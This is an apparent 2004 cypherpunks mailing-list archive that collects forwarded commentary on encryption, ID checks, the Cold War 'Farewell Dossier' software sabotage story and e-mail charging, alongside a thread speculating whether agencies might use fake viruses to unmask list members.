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[IP] Are terrorists using encryption to cloak their secrets? (fwd from dave@farber.net)

[Eugen Leitl]

- Forwarded message from Dave Farber <[EMAIL PROTECTED]> -

From: Dave Farber <[EMAIL PROTECTED]>
Date: Tue, 03 Feb 2004 15:26:52 -0500
To: [EMAIL PROTECTED]
Subject: [IP] Are terrorists using encryption to cloak
  their secrets?
X-Mailer: munch
X-Mailer: QUALCOMM Windows Eudora Version 6.0.2.0
Reply-To: [EMAIL PROTECTED]


Delivered-To: [EMAIL PROTECTED]
Date: Tue, 03 Feb 2004 13:44:02 -0500
From: Declan McCullagh <[EMAIL PROTECTED]>
---

Date: Mon,  2 Feb 2004 10:20:36 -0500
From: "Matthew S. Hamrick" <[EMAIL PROTECTED]>
To: [EMAIL PROTECTED], [EMAIL PROTECTED]
Subject: Are Terrorists Using Crypto?

Once again I've had to defend the domestic use of encryption technology. My
latest "opinion" is at
http://www.cryptonomicon.net/modules.php?name=News&file=article&sid=645 . I
don't know if it's of any value to either of you guys, but I thought I would
pass it along anyway.

-Matt H.

-- 
One Ringtone to rule them all, one Carrier to find them,
One Phone to bring them all and to the Service Contract bind them.

__

-
You are subscribed as [EMAIL PROTECTED]
To manage your subscription, go to
 http://v2.listbox.com/member/?listname=ip

Archives at: http://www.interesting-people.org/archives/interesting-people/

- End forwarded message -
-- Eugen* Leitl http://leitl.org";>leitl
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<>

[IP] Bruce Schneier on ID cards and the "illusion of security" (fwd from dave@farber.net)

[Eugen Leitl]

- Forwarded message from Dave Farber <[EMAIL PROTECTED]> -

From: Dave Farber <[EMAIL PROTECTED]>
Date: Tue, 03 Feb 2004 15:28:45 -0500
To: [EMAIL PROTECTED]
Subject: [IP] Bruce Schneier on ID cards and the
  "illusion of security"
X-Mailer: munch
X-Mailer: QUALCOMM Windows Eudora Version 6.0.2.0
Reply-To: [EMAIL PROTECTED]


http://www.sfgate.com/cgi-bin/article.cgi?file=/chronicle/archive/2004/02/03/EDGSI4M3171.DTL&type=printable

 How We Are Fighting the War on Terrorism
 IDs and the illusion of security
 Bruce Schneier
 Tuesday, February 3, 2004
 San Francisco Chronicle | Feedback | FAQ


 In recent years there has been an increased use of identification checks
as a security measure. Airlines always demand photo IDs, and hotels
increasingly do so. They're often required for admittance into government
buildings, and sometimes even hospitals. Everywhere, it seems, someone is
checking IDs. The ostensible reason is that ID checks make us all safer,
but that's just not so. In most cases, identification has very little to do
with security.

 Let's debunk the myths:

 First, verifying that someone has a photo ID is a completely useless
security measure. All the Sept. 11 terrorists had photo IDs. Some of the
IDs were real. Some were fake. Some were real IDs in fake names, bought
from a crooked DMV employee in Virginia for $1,000 each. Fake driver's
licenses for all 50 states, good enough to fool anyone who isn't paying
close attention, are available on the Internet. Or if you don't want to buy
IDs online, just ask any teenager where to get a fake ID.

 Harder-to-forge IDs only help marginally, because the problem is not
making sure the ID is valid. This is the second myth of ID checks: that
identification combined with profiling can be an indicator of intention.

 Our goal is to somehow identify the few bad guys scattered in the sea of
good guys. In an ideal world, what we would want is some kind of ID that
denotes intention. We'd want all terrorists to carry a card that says
"evildoer" and everyone else to carry a card that said "honest person who
won't try to hijack or blow up anything." Then, security would be easy. We
would just look at people's IDs and, if they were evildoers, we wouldn't
let them on the airplane or into the building.

 This is, of course, ridiculous, so we rely on identity as a substitute. In
theory, if we know who you are, and if we have enough information about
you, we can somehow predict whether you're likely to be an evildoer. This
is the basis behind CAPPS-2, the government's new airline passenger
profiling system. People are divided into two categories based on various
criteria: the traveler's address, credit history and police and tax
records; flight origin and destination; whether the ticket was purchased by
cash, check or credit card; whether the ticket is one way or round trip;
whether the traveler is alone or with a larger party; how frequently the
traveler flies; and how long before departure the ticket was purchased.

 Profiling has two very dangerous failure modes. The first one is obvious.
Profiling's intent is to divide people into two categories: people who may
be evildoers and need to be screened more carefully, and people who are
less likely to be evildoers and can be screened less carefully.

 But any such system will create a third, and very dangerous, category:
evildoers who don't fit the profile. Oklahoma City bomber Timothy McVeigh,
Washington-area sniper John Allen Muhammed and many of the Sept. 11
terrorists had no previous links to terrorism. The Unabomber taught
mathematics at UC Berkeley. The Palestinians have demonstrated that they
can recruit suicide bombers with no previous record of anti-Israeli
activities. Even the Sept. 11 hijackers went out of their way to establish
a normal-looking profile; frequent-flier numbers, a history of first-class
travel and so on. Evildoers can also engage in identity theft, and steal
the identity -- and profile -- of an honest person. Profiling can result in
less security by giving certain people an easy way to skirt security.

 There's another, even more dangerous, failure mode for these systems:
honest people who fit the evildoer profile. Because evildoers are so rare,
almost everyone who fits the profile will turn out to be a false alarm.
This not only wastes investigative resources that might be better spent
elsewhere, but it causes grave harm to those innocents who fit the profile.
Whether it's something as simple as "driving while black" or "flying while
Arab," or something more complicated such as taking scuba lessons or
protesting the Bush administration, profiling harms society because it
causes us all to live in fear...not from the evildoers, but from the police.

 Security is a trade-off; we have to weigh the security we get against the
price we pay for it. Better trade-offs are to spend money on intelligence
and analysis, investigation and making ourselves less of a pariah on the
world stage. And to spend

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Re: Cypherpunks response to viral stimuli

[Tyler Durden]

"Or would you instead, simply just stick a Carnivore machine at one hop 
above each CDR node that you're interested in, and gather the information 
you wanted with nearly zero risk of tipping your hand?  Or even simpler than 
that, get a hotmail or yahoomail account and just subscribe.  Which of the 
above scenarios makes the most sense in terms of Occam's?"

While you make some good points, you've way overstated both sides of your 
argument.
But this statement..."simply stick a Carnivore machine at one hop above each 
CDR node"...
Isn't that almost like saying "simply splice into the undersea cable"? Of 
course, if we're talking about hunting down Osama bin Laden a TLA (or 
whoever) would probably do that. But in terms of merely rounding up the 
names of potential trouble makers (particularly when they don't want anyone 
to know that they're doing this) it seems to be an awfully easy thing to do.

As for the fake virus part, all they need to do is go to some year-old virus 
list, select a virus, and send one directly through a non-de-mimed list 
server, and then watch what comes out. Seems a lot cheaper and easier.

But this misses the point: Even IF this would be "stupid", it would be 
stupider still to be aware that this is possible, and then not implement a 
fix (if a cheap fix is available). De-miming is now obvious.
In other words, the idea is not to compare dick sizes but to actually force 
them to spend huge amounts of money on trivial tasks, by raising aware of 
and plugging any holes that become evident. That assymetry is exactly what 
crypto is, in a nutshell.

-TD



From: sunder <[EMAIL PROTECTED]>
To: Tyler Durden <[EMAIL PROTECTED]>
CC: [EMAIL PROTECTED], [EMAIL PROTECTED]
Subject: Re: Cypherpunks response to viral stimuli
Date: Tue, 03 Feb 2004 13:28:47 -0500
Tyler Durden wrote:

And in case it's not clear, I'm suggesting that it may be useful for them 
to deliberately create a "fake" virus that is easily detectable, and so 
cull the bounce messages.
Right, why should they do something passive that doesn't tip their hand and 
allows them to collect the information they need, when instead they can do 
something active and stupid that could possibly give away their position.

Think about it.  In fact, apply Occam's Razor to this, in fine, thin 
slices:

If you were a TLA and you'd want to send a "fake" virus, it would need to 
be something that would trip every anti-virus software that anyone could 
possibly run, but yet, not be a virus, and you'd need to do so without 
giving away your IP address - while making it look like it came from lots 
of sources.  If you'd only use a single IP address, the guy that runs the 
node would likely block you as a virus source.

Then, on top of it, you'd have to *HOPE* that none of your targets saw the 
real version of the virus, and then bothered to compare the two, or worse 
yet, dissect the decoy you've sent, and figure out that it isn't real.

How's would you do this and have it be successful?  Unless, of course, you 
wish to claim that the TLA's wrote the anti-SCO viruses?  In which case, 
there's a lovely bridge between Brooklyn and Manhattan that I would gladly 
sell you...  Real cheap...  it's a bit old, but it's in decent shape... No? 
 How about some nice foil hats?  Real cheap...  For you, only $100 each 
(plus tax of course)... guaranteed to be made of 100% aluminum foil.

Or would you instead, simply just stick a Carnivore machine at one hop 
above each CDR node that you're interested in, and gather the information 
you wanted with nearly zero risk of tipping your hand?  Or even simpler 
than that, get a hotmail or yahoomail account and just subscribe.  Which of 
the above scenarios makes the most sense in terms of Occam's?

P.S.: I stand by my original statement: the collective IQ of the posters on 
list is dropping.
_
Check out the new MSN 9 Dial-up — fast & reliable Internet access with prime 
features! http://join.msn.com/?pgmarket=en-us&page=dialup/home&ST=1

Hi

[beikrem]

The message contains Unicode characters and has been sent as a binary attachment.

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[MAILsweeper]

The message sent to [EMAIL PROTECTED]
 with the subject:

... contained a virus and has been blocked.  Please check your systems.

MDaemon Warning - Virus Found

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The following message had attachment(s) which contained viruses:

>From  : [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Subject   : 
Date  : Tue, 3 Feb 2004 13:46:43 -0500
Message-ID: 

AttachmentVirus name   Action taken
--
body.zip  ???  Removed

Re: Cypherpunks response to viral stimuli

[sunder]

Tyler Durden wrote:

And in case it's not clear, I'm suggesting that it may be useful for 
them to deliberately create a "fake" virus that is easily detectable, 
and so cull the bounce messages.
Right, why should they do something passive that doesn't tip their hand and 
allows them to collect the information they need, when instead they can do 
something active and stupid that could possibly give away their position.

Think about it.  In fact, apply Occam's Razor to this, in fine, thin slices:

If you were a TLA and you'd want to send a "fake" virus, it would need to 
be something that would trip every anti-virus software that anyone could 
possibly run, but yet, not be a virus, and you'd need to do so without 
giving away your IP address - while making it look like it came from lots 
of sources.  If you'd only use a single IP address, the guy that runs the 
node would likely block you as a virus source.

Then, on top of it, you'd have to *HOPE* that none of your targets saw the 
real version of the virus, and then bothered to compare the two, or worse 
yet, dissect the decoy you've sent, and figure out that it isn't real.

How's would you do this and have it be successful?  Unless, of course, you 
wish to claim that the TLA's wrote the anti-SCO viruses?  In which case, 
there's a lovely bridge between Brooklyn and Manhattan that I would gladly 
sell you...  Real cheap...  it's a bit old, but it's in decent shape... 
No?  How about some nice foil hats?  Real cheap...  For you, only $100 each 
(plus tax of course)... guaranteed to be made of 100% aluminum foil.

Or would you instead, simply just stick a Carnivore machine at one hop 
above each CDR node that you're interested in, and gather the information 
you wanted with nearly zero risk of tipping your hand?  Or even simpler 
than that, get a hotmail or yahoomail account and just subscribe.  Which of 
the above scenarios makes the most sense in terms of Occam's?

P.S.: I stand by my original statement: the collective IQ of the posters on 
list is dropping.

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The Farewell Dossier

[R. A. Hettinga]

The New York Times

February 2, 2004
OP-ED COLUMNIST

The Farewell Dossier
By WILLIAM SAFIRE

ASHINGTON

Intelligence shortcomings, as we see, have a thousand fathers; secret
intelligence triumphs are orphans. Here is the unremarked story of "the
Farewell dossier": how a C.I.A. campaign of computer sabotage resulting in
a huge explosion in Siberia - all engineered by a mild-mannered economist
named Gus Weiss - helped us win the cold war.

Weiss worked down the hall from me in the Nixon administration. In early
1974, he wrote a report on Soviet advances in technology through purchasing
and copying that led the beleaguered president - détente notwithstanding -
to place restrictions on the export of computers and software to the
U.S.S.R.

Seven years later, we learned how the K.G.B. responded. I was writing a
series of hard-line columns denouncing the financial backing being given
Moscow by Germany and Britain for a major natural gas pipeline from Siberia
to Europe. That project would give control of European energy supplies to
the Communists, as well as generate $8 billion a year to support Soviet
computer and satellite research.

President François Mitterrand of France also opposed the gas pipeline. He
took President Reagan aside at a conference in Ottawa on July 19, 1981, to
reveal that France had recruited a key K.G.B. officer in Moscow Center.

 Col. Vladimir Vetrov provided what French intelligence called the Farewell
dossier. It contained documents from the K.G.B. Technology Directorate
showing how the Soviets were systematically stealing - or secretly buying
through third parties - the radar, machine tools and semiconductors to keep
the Russians nearly competitive with U.S. military-industrial strength
through the 70's. In effect, the U.S. was in an arms race with itself.

Reagan passed this on to William J. Casey, his director of central
intelligence, now remembered only for the Iran-contra fiasco. Casey called
in Weiss, then working with Thomas C. Reed on the staff of the National
Security Council. After studying the list of hundreds of Soviet agents and
purchasers (including one cosmonaut) assigned to this penetration in the
U.S. and Japan, Weiss counseled against deportation.

 Instead, according to Reed - a former Air Force secretary whose
fascinating cold war book, "At the Abyss," will be published by Random
House next month - Weiss said: "Why not help the Soviets with their
shopping? Now that we know what they want, we can help them get it." The
catch: computer chips would be designed to pass Soviet quality tests and
then to fail in operation.

 In our complex disinformation scheme, deliberately flawed designs for
stealth technology and space defense sent Russian scientists down paths
that wasted time and money.

 The technology topping the Soviets' wish list was for computer control
systems to automate the operation of the new trans-Siberian gas pipeline.
When we turned down their overt purchase order, the K.G.B. sent a covert
agent into a Canadian company to steal the software; tipped off by
Farewell, we added what geeks call a "Trojan Horse" to the pirated product.

 "The pipeline software that was to run the pumps, turbines and valves was
programmed to go haywire," writes Reed, "to reset pump speeds and valve
settings to produce pressures far beyond those acceptable to the pipeline
joints and welds. The result was the most monumental non-nuclear explosion
and fire ever seen from space."

 Our Norad monitors feared a nuclear detonation, but satellites that would
have picked up its electromagnetic pulse were silent. That mystified many
in the White House, but "Gus Weiss came down the hall to tell his fellow
NSC staffers not to worry. It took him another twenty years to tell me why."

 Farewell stayed secret because the blast in June 1982, estimated at three
kilotons, took place in the Siberian wilderness, with no casualties known.
Nor was the red-faced K.G.B. about to complain publicly about being tricked
by bogus technology. But all the software it had stolen for years was
suddenly suspect, which stopped or delayed the work of thousands of worried
Russian technicians and scientists.

 Vetrov was caught and executed in 1983. A year later, Bill Casey ordered
the K.G.B. collection network rolled up, closing the Farewell dossier. Gus
Weiss died from a fall a few months ago. Now is a time to remember that
sometimes our spooks get it right in a big way. 


-- 
-
R. A. Hettinga 
The Internet Bearer Underwriting Corporation 
44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'

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Re: Cypherpunks response to viral stimuli

[Eugen Leitl]

On Mon, Feb 02, 2004 at 05:23:02PM -0800, Bill Stewart wrote:

> Five or ten years ago, when the Feds were still pretending to be in
> control of crypto, crypto enthusiasts were still a threat - these days you
> can pick up VPN boxes at the grocery store, and if they still care about
> us, they're more likely to be interested in content and the identities of
> active posters than in the identity of lurkers.   They can observe a lot

I presume tracking down people who're actually concerned about security and
take some troubles to conceal their identity would be a good bootcamp for 
beginner TLAings. Iterated tiger teams interactions will inbreed, so they
need a source of novelty. But tracking down competent h4x0rs will be no doubt far
more challenging.

> just by looking, or they can announce a sale on tinfoil hats and see who
> responds, or ask a Stupid Newbie Question and see who flames them, or
> forge a message about Guns from a Usual Suspect and see who claims that
> theirs is bigger, or post about something tangential like how to stop spam
> (which has pretty much replaced libertarianism and censorship as the
> all-consuming discussion topic on the net.)

What's the point of busting a wannabee? Just to earn some tinfoil stars, to
make your organizational unit look good? Doesn't compute. No one got
bitchslapped but the AP fellow.

> Viruses and Web Bugs are less likely to be useful for detecting
> Cypherpunks (or Mac users, or Linux users) than for detecting the general
> public - to some  extent we may be smarter about that, or at least
> grumpier about HTML mail, plus some of the cpunks nodes filter out that
> sort of thing.  But perhaps they're exploiting that stack overflow bug in
> PGP 2.6.2 instead.

If you have advanced remote-diagnostic and remote-exploit capabilities, you
never let your hand show on an insignficant target. Even if you camouflage as
a h4x0r, penetrating a well-secured box is bound to raise some eyebrows (you
don't see a packet logger in passive mode).

No doubt such capabilities are reserved for cyberwar and industrial
espionage.

P.S. Sorry about the MIME sig screwup. I forgot.

-- Eugen* Leitl http://leitl.org";>leitl
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Japanese girl VS playboy

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[IP] Charging For E-Mail (fwd from dave@farber.net)

[Eugen Leitl]

- Forwarded message from Dave Farber <[EMAIL PROTECTED]> -

From: Dave Farber <[EMAIL PROTECTED]>
Date: Mon, 02 Feb 2004 17:34:41 -0500
To: [EMAIL PROTECTED]
Subject: [IP] Charging For E-Mail
X-Mailer: munch
X-Mailer: QUALCOMM Windows Eudora Version 6.0.2.0
Reply-To: [EMAIL PROTECTED]

And there are several more good arguments against it as proposed.

Dave


Delivered-To: [EMAIL PROTECTED]
Date: Mon, 02 Feb 2004 12:52:49 -0800 (PST)
From: Lauren Weinstein <[EMAIL PROTECTED]>
Subject: Charging For E-Mail
To: [EMAIL PROTECTED]
Dave,

Just a few notes on the issues of "charging" for e-mail...

 - As you point out, any fee structure is likely to start off
   low and rise as attempts are made to maximize the profit center
   on the part of ISPs.

 - Once ISP e-mail charging schemes are in place, governments will likely
   express interest in potential revenue to be derived from such sources.
   The long-debunked rumor of the "e-mail tax" might well become a reality.
   It has already been suggested in some quarters that the U.S. Postal
   Service's new "Electronic Postmark" EPM/Authentidate system could
   ultimately be a model in this regard.

 - It appears likely that a primary initial use for e-mail charging schemes
   would be to allow certain classes of bulk mailers to bypass ISP anti-spam
   filters to directly reach the captive audience of those ISPs.  If you've
   got the bucks, you're classified as a "good" spammer and your wonderful
   offers will reach all those "grateful" e-mail recipients without
   interference from those pesky filter rules.

 - E-mail charging schemes can be used as an excuse to further bind
   customers tightly to their current ISPs.  The "SPF" e-mail domain control
   system already has this effect by discouraging the legitimate use of
   alternate domains by users in many cases.

 - Widely-deployed e-mail charging would likely require ISPs to attempt
   extremely tight, centralized control over e-mail routing to try prevent
   "unauthorized" (and uncharged) e-mail flows by users operating their own
   MTAs (Mail Transfer Agents), non-escrowed e-mail encryption systems,
   and/or other "unapproved" technologies.  Such centralized and enforced ISP
   control over e-mail would obviously have drastic potential negative
   privacy and security impacts.

 - The concept of widespread, enforced e-mail charging neglects to
   acknowledge the reality that e-mail is fundamentally an end-to-end
   Internet application that can be indistinguishable at the data level from
   most other applications.  The backlash to e-mail charging schemes would
   likely give rise to vast distributed "underground" e-mail transport
   systems, encrypted and even designed to masquerade as other types of
   data.  Even draconian attempts by ISPs to limit their subscribers' access
   to alternate TCP/IP ports would be unlikely to stem the flood of such
   alternate e-mail transport environments, that could even emulate
   standard Web (HTTP) traffic.  Illicit music file trading would likely
   look like a drop in the bucket by comparison.

Bottom line: Trying to charge broadly for e-mail could well provide
a textbook definition of "Pandora's Box" brought to life.

--Lauren--
Lauren Weinstein
[EMAIL PROTECTED] or [EMAIL PROTECTED] or [EMAIL PROTECTED]
Tel: +1 (818) 225-2800
http://www.pfir.org/lauren
Co-Founder, PFIR - People For Internet Responsibility - http://www.pfir.org
Co-Founder, Fact Squad - http://www.factsquad.org
Co-Founder, URIICA - Union for Representative International Internet
 Cooperation and Analysis - http://www.uriica.org
Moderator, PRIVACY Forum - http://www.vortex.com
Member, ACM Committee on Computers and Public Policy


   

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-- Eugen* Leitl http://leitl.org";>leitl
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Description: PGP signature

Re: Cypherpunks response to viral stimuli

[Morlock Elloi]

Can a TLA please give some sign here, any sign - just ack that you know the
list exists, otherwise the legitimacy of cpunks is definitely going down the
drain.

Looks like a Berlin wall syndrome.



=
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